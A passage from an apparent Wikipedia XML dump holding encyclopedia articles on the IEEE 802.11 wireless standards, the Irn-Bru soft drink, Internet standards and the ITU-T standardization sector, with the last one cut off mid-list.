In January 2004 IEEE announced that it had formed a new 802.11 Task Group (TGn) to develop a new amendment to the 802.11 standard for local-area wireless networks. The real data throughput is estimated to reach a theoretical 540 Mbit/s (which may require an even higher raw data rate at the [[physical layer]]), and should be up to 40 times faster than 802.11b, and near 10 times faster than 802.11a or 802.11g. It is  projected that 802.11n will also offer a better operating distance than current networks.

There were two competing proposals of the 802.11n standard: [[WWiSE]] ('''W'''orld-'''Wi'''de '''S'''pectrum '''E'''fficiency), backed by companies including [[Broadcom]], and TGn Sync backed by [[Intel]] and [[Philips]]. 

Previous competitors [[TGnSync]], [[WWiSE]], and a third group, [[MITMOT]], said in late July 2005 that they would merge their respective proposals as a draft which would be sent to the IEEE in September; a final version will be submitted in November. The standardization process is expected to be completed by the second half of 2006.

802.11n builds upon previous 802.11 standards by adding MIMO ([[multiple-input multiple-output]]).  MIMO uses multiple [[transmitter]] and [[receiver (radio)|receiver]] [[Antenna (radio)|antennas]] to allow for increased data throughput through spatial multiplexing and increased range by exploiting the spatial diversity, perhaps through coding schemes like [[Space-time block code|Alamouti coding]].

The Enhanced Wireless Consortium (EWC){{ref|EWC}} was formed to help accelerate the IEEE 802.11n development process and promote a technology specification for interoperability of next-generation wireless local area networking (WLAN) products.

On January 19, 2006, the IEEE 802.11n Working Group approved the EWC's specification as the draft approval of 802.11n.

== Certification ==
Because the IEEE only sets specifications but does not test equipment for compliance with them, a trade group called the [[Wi-Fi Alliance]] runs a certification program that members pay to participate in. Virtually all companies selling 802.11 equipment are members. The Wi-Fi trademark, owned by the group and usable only on compliant equipment, is intended to guarantee interoperability. Currently, &quot;Wi-Fi&quot; can mean any of 802.11a, b, or g. As of fall 2003, Wi-Fi also includes the security standard Wi-Fi Protected Access or WPA. Eventually &quot;Wi-Fi&quot; will also mean equipment which implements the [[IEEE 802.11i]] security standard (aka WPA2). Products that say they are Wi-Fi are supposed to also indicate the frequency band in which they operate (2.4 or 5 GHz).

== Standards ==
The following [[IEEE Standards Association|IEEE Standards]] and task groups exist within the IEEE 802.11 working group: &lt;!--Please do not add a standard to this list unless it's an IEEE standard and you have a reference back to IEEE's website --&gt;

*[[IEEE 802.11]] - The original 1 Mbit/s and 2 Mbit/s, 2.4 GHz RF and IR standard (1999)
*[[#802.11a|IEEE 802.11a]] - 54 Mbit/s, 5 GHz standard (1999, shipping products in 2001)
*[[#802.11b|IEEE 802.11b]] - Enhancements to 802.11 to support 5.5 and 11 Mbit/s (1999)
*[[IEEE 802.11c]] - Bridge operation procedures; included in the [[IEEE 802.1D]] standard (2001)
*[[IEEE 802.11d]] - International (country-to-country) roaming extensions (2001)
*[[IEEE 802.11e]] - Enhancements: [[Quality of service|QoS]], including packet bursting (2005)
*[[IEEE 802.11F]] - [[Inter-Access Point Protocol]] (2003) '''Withdrawn [[2005]]'''
*[[#802.11g|IEEE 802.11g]] - 54 Mbit/s, 2.4 GHz standard (backwards compatible with b) (2003)
*[[IEEE 802.11h]] - Spectrum Managed 802.11a (5 GHz) for European compatibility (2004)
*[[IEEE 802.11i]] - Enhanced security (2004)
*[[IEEE 802.11j]] - Extensions for Japan (2004)
*[[IEEE 802.11k]] - Radio resource measurement enhancements
*IEEE 802.11l - (reserved, typologically unsound)
*[[IEEE 802.11m]] - Maintenance of the standard; odds and ends.
*[[#802.11n|IEEE 802.11n]] - Higher throughput improvements
*IEEE 802.11o - (reserved, typologically unsound)
*[[IEEE 802.11p]] - WAVE - Wireless Access for the Vehicular Environment (such as ambulances and passenger cars)
*IEEE 802.11q - (reserved, typologically unsound, can be confused with [[IEEE 802.1Q|802.1Q]] VLAN trunking)
*[[IEEE 802.11r]] - Fast [[roaming]]
*[[IEEE 802.11s]] - ESS Mesh Networking
*[[IEEE 802.11T]] - Wireless Performance Prediction (WPP) - test methods and metrics
*[[IEEE 802.11u]] - Interworking with non-802 networks (e.g., cellular)
*[[IEEE 802.11v]] - Wireless [[network management]]
*[[IEEE 802.11w]] - Protected Management Frames

Note - there is no standard or task group named &quot;802.11x&quot;.  Rather, this term is used informally to denote any current or future 802.11 standard, in cases where further precision is not necessary.  (The [[IEEE 802.1X]] standard for port-based network access control, is often mistakenly called &quot;802.11x&quot; when used in the context of wireless networks.)

Note - 802.11F and 802.11T are recommendations, not standards and are capitalized as such.

=== Standard or Amendment? ===
Both the terms &quot;standard&quot; and &quot;amendment&quot; are used when referring to the different variants of '''IEEE 802.11'''.  Which is correct?

As far as the [[IEEE]] is concerned there is only one standard - '''IEEE 802.11'''.  This standard is continuously updated by means of amendments such as [[IEEE 802.11a]], [[IEEE 802.11b]] etc.  Periodically a new version of the '''IEEE 802.11''' standard is produced combining the previous version of the standard and all amendments published up to that date.  For example, there is a 2003 edition of the standard available for purchase{{ref|802.11-2003}} that incorporates the [[IEEE 802.11a]], [[IEEE 802.11b]], and [[IEEE 802.11d]] amendments.  It is possible that at some point, only this version will be made available for free download replacing the six year old version of the base standard and the first three admendments.

So the correct term for the base standard called &quot;802.11 legacy&quot; on this page would in fact be 802.11-1999.  But outside the working group that produces '''IEEE 802.11''' such accuracy is probably unnecessary.

== Community networks ==
With the proliferation of [[cable modem]]s and [[Digital Subscriber Line|DSL]], there is an ever-increasing market of people who wish to establish small networks in their homes to share their high speed [[Internet]] connection.

Wireless office networks are often unsecured or secured with [[Wired Equivalent Privacy|WEP]], which is said to be easily broken, although a substantial amount of data has to be collected before it can be [[Software cracking|cracked]] successfully. Note, however, that using readily-available and downloadable tools, WEP networks can be cracked within minutes.  These networks frequently allow &quot;people on the street&quot; to connect to the Internet. There are also efforts by volunteer groups to establish [[wireless community network]]s to provide free wireless connectivity to the public.

== Security ==
In 2001, a group from the [[University of California, Berkeley]] presented a paper describing weaknesses in the [[802.11]] [[WEP]] (wired equivalent privacy) security mechanism defined in the original standard; they were followed by Fluhrer, Mantin, and Shamir's paper entitled &quot;Weaknesses in the Key Scheduling Algorithm of RC4&quot;.  Not long after, Adam Stubblefield and AT&amp;T publicly announced the first verification of the attack. In the attack they were able to intercept transmissions and gain unauthorized access to wireless networks.

The IEEE set up a dedicated task group to create a replacement security solution, 802.11i (previously this work was handled as part of a broader 802.11e effort to enhance the [[Media Access Control|MAC]] layer). The Wi-Fi Alliance announced an interim specification called Wi-Fi Protected Access (WPA) based on a subset of the then current IEEE 802.11i draft.  These started to appear in products in mid-2003. 802.11i (aka [[WPA2]]) itself was ratified in June [[2004]], and uses the [[Advanced Encryption Standard]], instead of [[RC4]], which was used in [[WEP]] and [[Wi-Fi Protected Access|WPA]].

In [[January 2005]], [[IEEE]] set up yet another task group TGw to protect management and broadcast frames, which previously were sent unsecured.  See [[IEEE 802.11w]]

== See also ==
*[[Bluetooth]], another wireless protocol primarily designed for shorter range applications.
*[[WiMAX]] (aka 802.16), another wireless protocol designed for [[Metropolitan area network|MAN]]s.

== External links ==
* [http://standards.ieee.org/getieee802/802.11.html Download the 802.11 standards from IEEE]
* [http://grouper.ieee.org/groups/802/11/Reports/tgn_update.htm Status of the 802.11n standard]
* [http://www.ieee802.org/11/ IEEE 802.11 working group]
* [http://ftp.die.net/mirror/papers/802.11/wep_attack.pdf &quot;Using the Fluhrer, Mantin, and Shamir Attack to Break WEP&quot; (2001)], paper by Stubblefield (PDF)
* [http://www.oreillynet.com/pub/a/wireless/2005/05/20/80211map.html 802.11 Protocol Map] O'Reilly Network article by Matthew Gast that includes a map outlining the relationship between the various 802.11 protocols, standards and regulatory bodies.
* [http://www.oreilly.com/catalog/802dot112/chapter/ch15.pdf Chapter 15: A Peek Ahead at 802.11n: MIMO-OFDM] 802.11 Wireless Networks: The Definitive Guide, Second Edition (PDF)

== References ==
#{{note|superG}} http://www.super-g.com/
#{{note|125HSM}} [http://www.54g.org/about_54g_speed.php Broadcom's 125 High Speed Mode consortium]
#{{note|EWC}}[http://www.enhancedwirelessconsortium.org/ Enhanced Wireless Consortium]
#{{note|802.11-2003}}[http://shop.ieee.org/ieeestore/Product.aspx?product_no=SH95357 Purchase 802.11-2003]

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    <title>Initialism</title>
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      <comment>Reverted edits by [[Special:Contributions/199.172.228.242|199.172.228.242]] to last version by Nohat</comment>
      <text xml:space="preserve">#REDIRECT [[Acronym and initialism]]</text>
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  <page>
    <title>Irn-Bru</title>
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      <comment>/* Exports and foreign markets */ Canadian bru is also missing quinine which greatly affects the taste</comment>
      <text xml:space="preserve">:''For a Cuban soft drink with a similar name, see [[Ironbeer]]''
[[Image:Irn-Bru logo.jpg|175px|right|Irn-Bru logo]]
[[Image:Fm_irnbru.jpg|thumb|200px|Irn-Bru]]
'''Irn-Bru''' (pronounced &quot;Iron Brew&quot;) was the most popular [[caffeine|caffeinated]] [[soft drink]] in [[Scotland]] until 2005 when both Coca Cola and Diet Coke outsold it. It is made by [[A.G. Barr plc]], of [[Glasgow]].  Barr's Irn-Bru is available in the [[United Kingdom]], [[Ireland]], [[Russia]], [[Canada]], [[Australia]], and throughout much of [[Europe]]. The original spelling was '''Iron Brew''', and versions from other manufacturers continue to use the older name (see [[Irn-Bru#History|below]]).

Irn-Bru's advertising slogan used to be &quot;Made in Scotland from [[girder]]s&quot;, though the closest one can come to substantiating this claim is the 0.002% ammonium ferric citrate listed in the ingredients.

It has long been the most popular soft drink in Scotland, outselling even [[Coca-Cola]], but recent fierce competition between the two brands has brought their sales to roughly equal levels (perhaps leaning to [[Coca-Cola]]) [http://business.scotsman.com/topics.cfm?tid=639&amp;id=1081882003]. This success in defending its home market (a feat claimed only by Irn-Bru, [[South Australia]]'s [[Farmers Union Iced Coffee]], [[Peru]]'s [[Inca Kola]] and [[Sweden]]'s [[Julmust]]) has led to ongoing speculation that either Coke, or its arch-rival [[PepsiCo, Inc.]], would attempt to buy A.G. Barr [http://scotlandonsunday.scotsman.com/business.cfm?id=244962005].

==The drink==
Irn-Bru is most famous for its eccentric bright orange colour, making it easily recognisable even when not in its packaging. The 'Iron-Brew' produced by other manufacturers is a similar shade, but merely approximates Irn-Bru in taste. The formula for Irn-Bru is a closely guarded secret, known only by two of Barr's board members.

Bru is widely reputed to be an excellent cure for [[hangover]]s. This claim has some foundation in truth &amp;mdash; all caffeinated drinks will soothe headaches to an extent, and sugary drinks will replace lost fluids and sugars.

Some believe that it makes an excellent mixer with [[Alcoholic beverage|alcoholic beverages]] &amp;mdash; mainly [[vodka]] and [[whisky]].  Indeed, the popular [[Britain|British]] [[alcopop]] [[WKD]] was originally launched as an alcoholic version of Irn-Bru. Barr retaliated by launching a drink combining Irn-Bru and Bell's whisky, though this proved to be somewhat unpopular and was quickly discontinued. A later attempt came in the form of an official Irn-Bru flavour in the Red Square line-up of vodka-based drinks; this too has been discontinued.

==Packaging and marketing==
[[Image:DietIrnBru.jpg|thumb|200px|Diet Irn-Bru]]
Irn-Bru is available in both canned and bottled form. Many Bru aficionados are known to prefer the drink from chilled, glass bottles rather than cans or plastic containers. The reported difference in taste may be due to mild contamination from plasticisers, or in the difference in water used in different manufacturing plants.

Irn-Bru and other Barr brands including [[Tizer]], [[Red Kola]], [[Barr Cola]], and [[Limeade]] are still available in refundable glass bottles. The empty bottles can be returned to any shop which sells them, and theoretically exchanged for the deposit of 20 pence. Many retailers, however, will only offer store credit.

Barr also produce Irn-Bru bars, chewy, fizzy, bright orange bars which taste very strongly of Irn-Bru. Irn-Bru sorbet is available some speciality ice cream shops in Scotland (e.g. ''Divitos'' of Crossgates or ''Janettas'' of [[St Andrews]], both in [[Fife]] and also ''S. Luca'' of [[Musselburgh]]).

Irn-Bru's [[advertising]] campaigns have always been very different from those of other commercial soft drinks. Perhaps the best-remembered are the long running series of television and billboard adverts in [[black-and-white]], including the billboard with the [[grim reaper]] saying &quot;Don't be scared. You'll still get Irn-Bru on the other side.&quot; and the supposed-advert for a cleaning product called &quot;Jef&quot;, which consists of a small boy in a box, who sucks Irn-Bru stains out of clothes.

Another of the best remembered TV adverts has the settings of [[1950s]] type entertainment. The father played the [[piano]], while the mother and two children sat down [[singing]] a song which ends with the mother singing: &quot;Even though I used to be a man.&quot;

This advertisment originally aired in 2000, but when it was re-aired in 2003, it received seventeen complaints, claiming it was offensive to transsexuals. Issue A14 of the [[Ofcom]] Advertising Complaints bulletin reports that the children's response to their mother's claim was not in fact offensive. The advertisement was meant to be a joke about changing points of view over time. However, the scene involving the mother shaving at the end of the advertisement was deemed to be potentially offensive to transsexuals, and so it was taken off the air.

==History==
The drink was first produced in [[1901]] under the name Iron-Brew. During [[World War II]] the [[British Government]] reined in production of 'non-essential' products, causing Iron-Brew to vanish from retailers' shelves until [[1946]]. Around this time there was a move to tighten up legislation on product labelling, in order to make it factually descriptive. In 1946 Barr registered the new name 'Irn-Bru' for their product. It is unknown whether this was a move to circumvent the labelling laws, as other soft drink manufacturers in Scotland (such as Hays or Sangs), produce their own versions of Iron-Brew and keep the original spelling to this day.

In [[1972]] Barr acquired [[Tizer]] Ltd and began producing Irn-Bru at this company's plant in Atherton, near [[Manchester]]. This perhaps explains the drink's extraordinary popularity in the northwest region of [[England]], compared with other areas (where it does not sell so well, despite heavy marketing).

When [[McDonald's]] restaurants first opened for trading in [[Glasgow]] they did not serve Irn-Bru. This was seen as an insult by some Scots, and a campaign to correct this oversight was launched. After many of their restaurants were picketed, McDonalds relented and began to stock Irn-Bru alongside their other soft drinks.

==Exports and foreign markets==
[[Image:RussianIrnBru.jpg|thumb|200px|Russian Irn-Bru]]
Irn-Bru is currently manufactured in five factories in [[Russia]], and is also manufactured under licence in [[Canada]]. Bru and various other Barr products are exported to [[Spain]], [[The Netherlands]], [[Germany]], [[Greece]], and [[Cyprus]], as well as parts of [[Africa]] and [[Asia]]. It is available sporadically in [[Ireland]].

The legal status of Irn-Bru in the [[United States]] is unclear. Several American companies import Irn-Bru, yet it is currently listed as a banned substance by the U.S. [[Food and Drug Administration]]. The FDA website[http://www.fda.gov/ora/fiars/ora_import_ia4502.html] lists Irn-Bru and Diet Irn-Bru as containing the banned [[Carcinogen|carcinogenic]] colouring [[Ponceau 4R]], and [[Sunset Yellow FCF]], which the FDA has to approve on a per-batch basis[http://www.cfsan.fda.gov/~comm/cp09006.html]. One importer, Great Scots International [http://www.irn-bru-usa.com/], modifies the drink to conform to FDA requirements.

The food colouring Ponceau 4R is also banned in [[Norway]], and Sunset Yellow FCF is banned in both Norway and [[Finland]], although Irn-Bru can still be purchased in certain Finnish shops specializing in imported goods.

Irn-Bru sold in Canada contains no caffeine, as only dark coloured drinks were permitted to contain caffeine. As a result of this and the omission of quinine the taste is noticeably different, and the restorative effect is almost nil.  This law has recently changed, however, as evidenced by the introduction in Canada of a caffeinated [[Mountain Dew]]; it is unknown whether this new legislation will lead to the production of caffeinated Irn-Bru.

==Irn-Bru mythology==
There is an [[urban legend]], often heard in Scotland when discussing the drink, that states variously that Irn-Bru is more popular in Russia than it is in Scotland, or that it is more popular than [[Coca-Cola]] in Russia.  This is untrue.  Barr's first venture in Russia, with a Russian company backed by [[United States|American]] [[venture capitalists]], failed in August 2001.  A second attempt at cracking the Russian market began in June 2002, backed by the [[Pepsi]] Bottling Group of Russia.  Robin Barr, AG Barr chairman, said of the legend &quot;Maybe I could sit here and hope that it [was more popular than Coke], but Coke was introduced into the Russian marketplace shortly after 1990, so they've been in business for some 12 years now, whereas we only started franchising Irn-Bru in Russia towards the end of 1998.&quot;{{fact}}

Another well known Scottish myth is that a glass bottle of Irn-Bru, when wedged between the meter and the window of a [[Hackney carriage|Hackney Cab]], causes the meter to speed up, resulting in a higher fare.{{fact}}

Another such urban legend, thought to be started by FHM, is that Irn-Bru severley lowers the sperm count.{{fact}}

==External links==
*[http://www.irn-bru.co.uk/ Zany official Irn-Bru web site]
*[http://www.agbarr.co.uk/ A.G. Barr corporate website]
*[http://www.iota-consulting.co.uk/~kcampbell/Bru/homepage.htm An unofficial Irn-Bru website]
*[http://www.everything2.com/index.pl?node_id=519669 Irn-Bru] at [[everything2]]
*[http://www.ofcom.org.uk/tv/obb/adv_comp/a14/a14.pdf A14 Advertising Report]

==References==
[http://business.scotsman.com/topics.cfm?tid=639&amp;id=661832002 Caps off to Irn-Bru for Russian revelation] (Jun 17, 2002).  &quot;The Edinburgh Evening News&quot;.

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    <title>Internet standard</title>
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      <contributor>
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      <comment>Add RFC editor links</comment>
      <text xml:space="preserve">An '''Internet standard''' is a [[specification]] for an innovative [[internetworking]] technology or methodology, which the [[Internet Engineering Task Force]] (IETF) ratified as an [[open standard]] after the innovation underwent [[peer review]].

An Internet standard begins as an [[Internet Draft]], which may then be published (usually after several revisions) as a [[Request for Comments]] (RFC) [[memorandum]]. RFCs that are intended to become Internet standards evolve through a series of three maturation stages: '''proposed standard''', '''draft standard''', and '''standard'''. Collectively, these stages of evolution are known as the '''standards track'''.

Note that not all RFCs are on the standards track.

== Proposed standard ==

A ''proposed standard'' specification is generally stable, has resolved known design choices, is believed to be well-understood, has received significant community review, and appears to enjoy enough community interest to be considered valuable.  However, further experience might result in a change or even retraction of the specification before it advances. Usually, neither implementation nor operational experience is required.

== Draft standard ==

A specification from which at least two independent and interoperable implementations from different code bases have been developed, and for which sufficient successful operational experience has been obtained, may be elevated to the ''draft standard'' level.

A Draft Standard is normally considered to be a final specification, and changes are likely to be made only to solve specific problems encountered.  In most circumstances, it is reasonable for vendors to deploy implementations of Draft Standards into a disruption sensitive environment.

== Standard ==

A specification for which significant implementation and successful operational experience has been obtained may be elevated to the ''Internet standard'' level.  An Internet standard, which may simply be referred to as a ''standard'', is characterized by a high degree of technical maturity and by a generally held belief that the specified protocol or service provides significant benefit to the Internet community.

Generally Internet standards cover interoperability of systems on the internet through defining protocols, messages formats, schemas, and languages.  The most fundamental of the standards are the ones defining the [[Internet Protocol]].

All Internet standards are given a number in the STD series - The first document in this series, STD 1, describes the remaining documents in the series, and has a list of proposed standards.  Often, documents in the STD series are copies of RFCs or are a few RFCs collected together.  For example, STD 8 defines the core of the [[telnet]] protocol and comprises RFCs 854 and 855.

==See also==
*[[Coordinated Universal Time]] (UTC)
*[[Standardization]]

==Reference==
The Internet Standards Process is defined in a &quot;Best Current Practice&quot; document [http://ftp.rfc-editor.org/in-notes/bcp/bcp9.txt BCP 9] ([[as of 2005|currently]] RFC 2026).

==External links==
*[http://www.iab.org/ Internet Architecture Board]
*[http://www.ietf.org/iesg.html Internet Engineering Steering Group]
*[http://www.ietf.org/ Internet Engineering Task Force]
*[http://www.rfc-editor.org/ RFC Editor]
*[http://www.rfc-editor.org/rfcxx00.html Official Internet Protocol Standards] 

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    <title>ITU Telecommunication Standardization Sector</title>
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      <text xml:space="preserve">The '''ITU Telecommunication [[Standardization]] Sector''' ('''ITU-T''') coordinates standards for telecommunications on behalf of the [[International Telecommunication Union]] (ITU) and is based in Geneva, Switzerland. Prior to [[1992]], it was known as the '''International Telegraph and Telephone Consultative Committee''' ('''CCITT''', from the French name &quot;'''Comité consultatif international téléphonique et télégraphique'''&quot;).

=== Primary function ===
The international standards that are produced by the ITU-T are referred to as &quot;''Recommendations''&quot; (with the word ordinarily capitalized to distinguish its meaning from the ordinary sense of the word &quot;recommendation&quot;). Since the ITU-T is part of the ITU, which is a [[United Nations]] Organization (UNO), its standards carry more formal international recognition than those of most other organizations that publish technical specifications of a similar form.

The sector divides its work into categories that are each identified by a single letter, referred to as the &quot;series&quot; (see below), and Recommendations are numbered within each series, for example &quot;V.90&quot;.

=== History === 
Historically from [[1960]] until the formation of ITU-T in 1992, the Recommendations of the CCITT were presented to four-yearly &quot;plenary assemblies&quot; for endorsement, and the full set of Recommendations were published after each plenary assembly, in a set of volumes titled collectively for the colour of their covers. For example the publication after the [[1980]] plenary session was the ''Yellow Book'' while that after [[1984]] was the ''Red Book''. These publications were divided into &quot;fascicles&quot; of several hundred pages that could be bought separately. The four-year approval cycle made the CCITT a rather slow and deliberate organization.

=== ITU reorganization 1970s-1990s ===
The rise of the [[personal computer]] industry in the early [[1980s]] created a new common practice among both consumers and businesses of adopting &quot;[[bleeding edge]]&quot; communications technology even if it was not yet standardized. Thus, standards organizations had to put forth standards much faster, or find themselves ratifying ''de facto'' standards after the fact. Unfortunately, like the [[International Organization for Standardization]] (ISO), CCITT was slow to adapt.

In some cases, a hopeless hodgepodge of proprietary standards resulted, with no clear winner; this was and still is the case with color fax technology. Another phenomenon was that the general public sought standards from organizations which it perceived as more responsive or inclusive; these included informal non-governmental organizations like the [[Internet Engineering Task Force]] (IETF) or private consortia like the [[World Wide Web Consortium]] (W3C).

=== ITU's &quot;real time&quot; standardization: 2000-Present ===
In response to the mess that previous ITU practices had created, the ITU-T now operates under much more streamlined processes. The time between an initial proposal of a draft document by a member company and the final approval of a full-status ITU-T Recommendation can now be as short as a few months (or less in some cases). This makes the standardization approval process in the ITU-T much more responsive to the needs of rapid technology development than in the ITU's historical past, but also means that the standards organization's classical functions of quality control and public review have far less time to be effective.

=== Changes in ITU-T compliance practices ===
A standard that has been amended can (if desired) retain its designation so that, for example, in the mid-1980s, terminal equipment for connection to an X.25 (packet switched) network might need alternative modes of operation depending on whether the network implemented the 1980 (''Yellow Book'') or the 1984 (''Red Book'') version of the standard. However, it is now more common for older versions of a standard to simply be marked as &quot;superseded&quot; when a standard is revised, and features of prior versions are ordinarily kept unchanged within the specification as new enhancements are added in new versions.
 
A standard can be developed that extends or is complementary to an existing one rather than replacing it. Such a standard is sometimes designated by the suffix &quot;bis&quot; or &quot;ter&quot; added to the base standard name, for example &quot;V.26bis&quot; and &quot;V.26ter&quot;.

==Series and Recommendations==

ITU-T issues Recommendations that have names like [[X.500]], where X is the series and 500 is an identifying number. When a Recommendation is updated, it will (mostly) keep the same number, so the year of issue may be necessary to identify a specific version of a recommendation.
The term &quot;X.500&quot; is used both to refer to the specific X.500 recommendation, and to the entire family of recommendations named X.5xx, where the specific X.500 recommendation forms the introduction and overview to the set.

See [[:Category:ITU-T recommendations]].

Significant ITU-T series and Recommendations are:
===A - Organization of the work of ITU-T===
===B - Means of expression: definitions, symbols, classification===
===C - General telecommunication statistics===
===D - General tariff principles===
===E - Overall network operation, telephone service, service operation and human factors===
**[[E.123]] Notation for national and international telephone numbers
**[[E.163]] Numbering plan for the international telephone service
**[[E.164]] The international public telecommunication numbering plan
*** Supplement 2 - Number Portability
===F - Non-telephone telecommunication services===
===G - Transmission systems and media, digital systems and networks===
**[[G.165]] Echo cancellers
**[[G.711]] Audio compression (mu-law)
**[[G.722]] Audio compression (wideband)
**[[G.722.1]] Audio compression (wideband, lower bit rates)
**[[G.722.2]] Speech compression [[AMR-WB]] (wideband, lower bit rates)
**[[G.723.1]] Speech compression [[CELP]]
**[[G.726]] Audio compression [[ADPCM]]
**[[G.728]] Speech compression [[LD-CELP]]
**[[G.729]] Speech compression [[ACELP]]
**[[ITU G.992.1|G.992.1]] [[ADSL]] (G.DMT)
**[[ITU G.992.2|G.992.2]] ADSL (G.Lite)
**[[ITU G.992.3/4|G.992.3/4]] ADSL2
**[[ITU G.992.5|G.992.5]] ADSL2+
===H - Audiovisual and multimedia systems===
**[[H.223]] Multiplexing protocol for low bit rate multimedia communication
**[[H.225.0]] Also known as [[Real-time Transport Protocol|RTP]]
**[[H.261]] Video compression standard, circa 1991
**[[H.262]] Video compression standard (common text with part 2 of [[MPEG-2]]), circa 1994
**[[H.263]] Video compression standard, circa 1995
**[[H.263v2]] (a.k.a. H.263+) Video compression standard, circa 1998
**[[H.264/MPEG-4 AVC|H.264]] Video compression standard (technically aligned with [[MPEG-4]] part 10), circa 2003
**[[H.320]] Narrow-band visual telephone systems and terminal equipment
**[[H.323]] Packet-based multimedia communications systems
*** Annex D - Real-time facsimile over H.323 systems
*** Annex G - Text conversation and Text SET
*** Annex J - Security for H.323 Annex F
*** Annex K - [[HTTP]] based service control transport channel in H.323
*** Annex M.1 - Tunnelling of signalling protocol (Qsig) in H.323
*** Annex M.2 - Tunnelling of signalling protocol (Isup) in H.323
**[[H.324]] Terminal for low bit-rate multimedia communication
**[[H.332]] H.323 extended for loosely coupled conferences
===I - Integrated services digital network ([[Integrated Services Digital Network|ISDN]])===
===J - Transmission of television, sound programme and other multimedia signals===
===K - Protection against interference===
===L - Construction, installation and protection of cables and other elements of outside plant===
===M - [[TMN (protocol)|TMN]] and network maintenance: international transmission systems, telephone circuits, telegraphy, facsimile and leased circuits===
===N - Maintenance: international sound programme and television transmission circuits===
===O - Specifications of measuring equipment===
===P - Telephone transmission quality, telephone installations, local line networks===
===Q - Switching and signalling===
**[[Q.700]] Introduction to [[CCITT]] [[Signalling System 7]]
**[[Q.701]] Functional description of the [[Message Transfer Part]] (MTP) of [[Signalling System 7]]
**[[Q.702]] [[Signalling (telecommunication)|Signalling]] data link
**[[Q.703]] [[Signalling (telecommunication)|Signalling]] link
**[[Q.704]] [[Signalling (telecommunication)|Signalling]] network functions and messages
**[[Q.705]] [[Signalling (telecommunication)|Signalling]] network structure
**[[Q.706]] [[Message Transfer Part]] signalling performance
**[[Q.707]] Testing and maintenance
**[[Q.708]] Assignment procedures for international signalling point codes
**[[Q.709]] Hypothetical signalling reference connection
**[[Q.710]] Simplified [[MTP]] for small systems
**[[Q.711]] Functional description of the [[Signalling Connection and Control Part]]
**[[Q.712]] Definition and function of [[Signalling Connection and Control Part|signalling connection control part]] messages
**[[Q.713]] [[Signalling Connection and Control Part|Signalling connection control part]] formats and codes
**[[Q.714]] [[Signalling Connection and Control Part|Signalling connection control part]] procedures
**[[Q.715]] [[Signalling Connection and Control Part|Signalling connection control part]] user guide
**[[Q.716]] [[Signalling Connection and Control Part|Signalling connection control part]] performance
**[[Q.931]] Is the layer 3 standard for [[ISDN]] signalling

===R - Telegraph transmission===
===S - Telegraph services terminal equipment===
===T - Terminals for telematic services===
**[[T.4]] Group 3 Apparatus for Transmission (aka Group 3 [[fax|faxes]])
**[[T.6]] Facsimile Coding Schemes and Coding Control Functions for Group 4 [[fax|Facsimile]] Apparatus. (aka Group 4 Compression)
**[[T.30]] Procedures for Document Facsimile Transmission. (T.30e defines colour faxing).
**[[T.31]] and [[T.32]] Provide an interface between fax machines and data terminals.
**[[T.120]] - Data protocols for multimedia conferencing
**[[Open Document Architecture|T.411 - T.424]] Comprise the [[Open Document Architecture]] (ODA and ODIF), a standardized [[document file format]]

===U - Telegraph switching===
===V - Data communication over the telephone network===
**[[V.1]] Equivalence between binary notation symbols and the significant conditions of a two-condition code.
**[[V.5]] Standard that synchronous data signalling rates should be 600, 1200, 2400, 4800 and 9600 bit/s, to within better than 0.01%.
**[[V.10]] A recommendation, first agreed in 1976, for [[unbalanced]] electrical circuits for data communication at up to 100 [[Bit rate|kbit/s]].
**[[V.11]] A recommendation, first agreed in 1976, for [[Balanced line|balanced]] electrical circuits for data communication at up to 10 [[Bit rate|Mbit/s]].
**[[V.17]] A [[fax]] [[Protocol (computing)|protocol]] that uses [[Trellis_modulation|TCM]] [[modulation]] at 12 and 14.4 [[Bit rate|kbit/s]].
**[[V.21]] A recommendation for [[duplex (telecommunications)|full-duplex]] communication between two [[analogue]] dial-up [[modem]]s using [[Audio frequency-shift keying|AFSK]] [[modulation]] at 300 [[baud]]s to carry data at 300 [[Bit rate|bit/s]].
**[[V.22]] A recommendation for [[duplex (telecommunications)|full-duplex]] communication between two [[analogue]] dial-up [[modems]] using [[Phase-shift keying|PSK]] [[modulation]] at 600 [[baud]]s to carry data at 1200 or 600 [[Bit rate|bit/s]].
**[[V.22bis|V.22bis]] An extension of [[V.22]] using [[Quadrature_amplitude_modulation|QAM]] [[modulation]] at 600 [[baud]]s to carry data at 2400 or 1200 [[Bit rate|bit/s]], with fall-back to V.22 mode.
**[[V.23]] A recommendation for [[duplex (telecommunications)|half-duplex]] communication between two [[analogue]] dial-up [[modems]] using [[frequency-shift keying|FSK]] [[modulation]] at up to 600 or 1200 [[baud]]s to carry digital data at up to 600 or 1200 [[Bit rate|bit/s]] respectively. An optional 75 bauds reverse channel carries 75 bit/s.
**[[V.24]] A list of definitions for interchange circuits between data terminal equipment ([[DTE]]) and data circuit terminating equipment ([[DCE]]), first agreed in 1964.  This is equivalent to a subset of [[EIA]] [[RS-232|RS 232]]: for the electrical and physical details, see [[V.28]] and others.
**[[V.25]] A recommendation, first agreed in 1968, for automatic calling and/or answering equipment on dial-up lines, using interchange circuits defined in [[V.24]] specifically for parallel automatic calling.  It includes procedures for disabling network echo cancellers and suppressors.
**[[V.25|V.25bis]] An extension of [[V.25]] using the serial interchange circuits defined in [[V.24]] for normal data transfer.  Command formats are defined for asynchronous, and synchronous character- or bit-oriented ([[HDLC]]) operation.
**[[V.26]] A recommendation, first agreed in 1968, for [[duplex (telecommunications)|full-duplex]] communication between two [[analogue]] fixed-line [[modem]]s using [[Phase-shift keying|PSK]] [[modulation]] at 1200 [[baud]]s to carry synchronous data at 2400 [[Bit rate|bit/s]].  An optional 75 bauds reverse channel carries 75 bit/s in either direction.
**[[V.26|V.26bis]] An extension of [[V.26]], first agreed in 1972, for [[duplex (telecommunications)|half-duplex]] operation of dial-up [[modem]]s, adding a fall-back rate of 1200 [[Bit rate|bit/s]] (still at 1200 [[baud]]s).
**[[V.26|V.26ter]] An extension of [[V.26]], first agreed in 1984, for [[duplex (telecommunications)|full-duplex]] fixed-line or dial-up operation to carry synchronous or asynchronous data with a fall-back rate of 1200 [[Bit rate|bit/s]] (at 1200 [[baud]]s), separating channels by echo cancellation.
**[[V.27]] A recommendation, first agreed in 1972, for [[duplex (telecommunications)|full-duplex]] or [[duplex (telecommunications)|half-duplex]] communication between two [[analogue]] fixed-line [[modem]]s using [[PSK]] [[modulation]] at 1600 [[baud]]s to carry synchronous data at 4800 [[Bit rate|bit/s]].  An optional 75 bauds reverse channel carries 75 bit/s.
